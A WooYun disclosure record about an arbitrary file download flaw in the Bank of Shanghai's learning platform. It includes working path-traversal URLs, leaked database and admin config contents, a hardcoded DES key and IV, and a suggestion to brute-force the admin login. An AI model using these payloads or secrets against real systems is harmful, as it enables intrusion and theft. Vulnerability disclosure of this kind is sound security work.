当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139740

漏洞标题:上海银行某系统任意文件下载导致敏感信息泄露

相关厂商:上海银行

漏洞作者: 路人甲

提交时间:2015-09-08 15:36

修复时间:2015-10-26 17:34

公开时间:2015-10-26 17:34

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-08: 细节已通知厂商并且等待厂商处理中
2015-09-11: 厂商已经确认,细节仅向厂商公开
2015-09-21: 细节向核心白帽子及相关领域专家公开
2015-10-01: 细节向普通白帽子公开
2015-10-11: 细节向实习白帽子公开
2015-10-26: 细节向公众公开

简要描述:

详细说明:

详细说明见漏洞证明。

漏洞证明:

上海银行网上学习平台(系统URL地址:http://learning.bankofshanghai.com/)存在任意文件下载漏洞,导致敏感信息泄露。
系统首页为,确定上海银行系统

1银行首页.png


举例说明:
1.直接访问如下URL,下载wis18.jar包
http://learning.bankofshanghai.com/wis18/file.showimage.flow?filename=../WEB-INF/lib/wis18.jar

源代码包下载.png


可以对该jar包进行反编译获取源代码。
2.数据库配置文件下载,直接访问如下URL
http://learning.bankofshanghai.com/wis18/file.showimage.flow?filename=../system/config/ds.xml
包含数据库主机IP、用户名、密码等

<?xml version="1.0" encoding="utf-8"?>
<datasource>
<db>oracle</db>
<flag>1</flag>
<ip>11.1.21.20</ip>
<port>1521</port>
<databasename>boslearn</databasename>
<connection-url>jdbc:oracle:thin:@11.1.21.20:1521:boslearn</connection-url>
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
<username>boslearn</username>
<password>{DES}mwHgQpaA/2LKq5ZGRFXbAQ==</password>
<idleconnectiontestperiod>60</idleconnectiontestperiod>
<idlemaxage>240</idlemaxage>
<minconnectionsperpartition>5</minconnectionsperpartition>
<maxconnectionsperpartition>10</maxconnectionsperpartition>
<partitioncount>1</partitioncount>
<acquireincrement>10</acquireincrement>
<preparedstatementcachesize>100</preparedstatementcachesize>
<statementscachedperconnection>30</statementscachedperconnection>
<releasehelperthreads>3</releasehelperthreads>
<initsql>select * from dual</initsql>
</datasource>


3.管理员配置文件,用户名admin,密码是DES加密的
http://learning.bankofshanghai.com/wis18/file.showimage.flow?filename=../system/config/manauser.xml

<?xml version="1.0" encoding="utf-8"?>
<system>
<username>admin</username>
<password>{DES}XbFZLpK0+6I=</password>
</system>


该系统使用了DES加密,经过一番寻找,在jar包反编译后的com\wis18\core\util目录中找到了EncryptAndDecrypt.java文件,该文件该文件包含秘钥strDesKey

public static void main(String[] args) {
try {
System.out.println(desEncrypt("的发生地"));
System.out.println(desEncrypt("的的的"));
System.out.println(desEncrypt("的的"));
System.out.println(desEncrypt("的"));
}
catch (Exception ex)
{
ex.printStackTrace();
}
}
static
{
try
{
encipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
decipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
String strDesKey = "Wis@1/-GOod=";
String strDesIV = "No1&>AllSys=";

BASE64Decoder b = new BASE64Decoder();
desKeySpec = new DESKeySpec(b.decodeBuffer(strDesKey));
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
secretKey = keyFactory.generateSecret(desKeySpec);
iv = new IvParameterSpec(b.decodeBuffer(strDesIV));
encipher.init(1, secretKey, iv);
decipher.init(2, secretKey, iv);
} catch (Exception e) {
e.printStackTrace();
}
}
}


有了秘钥是不是可以去破解下后台管理员的密码呢,试了下了没解密成功,
但是经过测试该系统后台登录无验证,当然可以试试暴力破解了。
但该系统后台登录地址为:http://learning.bankofshanghai.com/wis18/login/manalogin.jsp

后台.png


OK,问题证明到此。

修复方案:

你们是行家。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-09-11 17:33

厂商回复:

已修复

最新状态:

暂无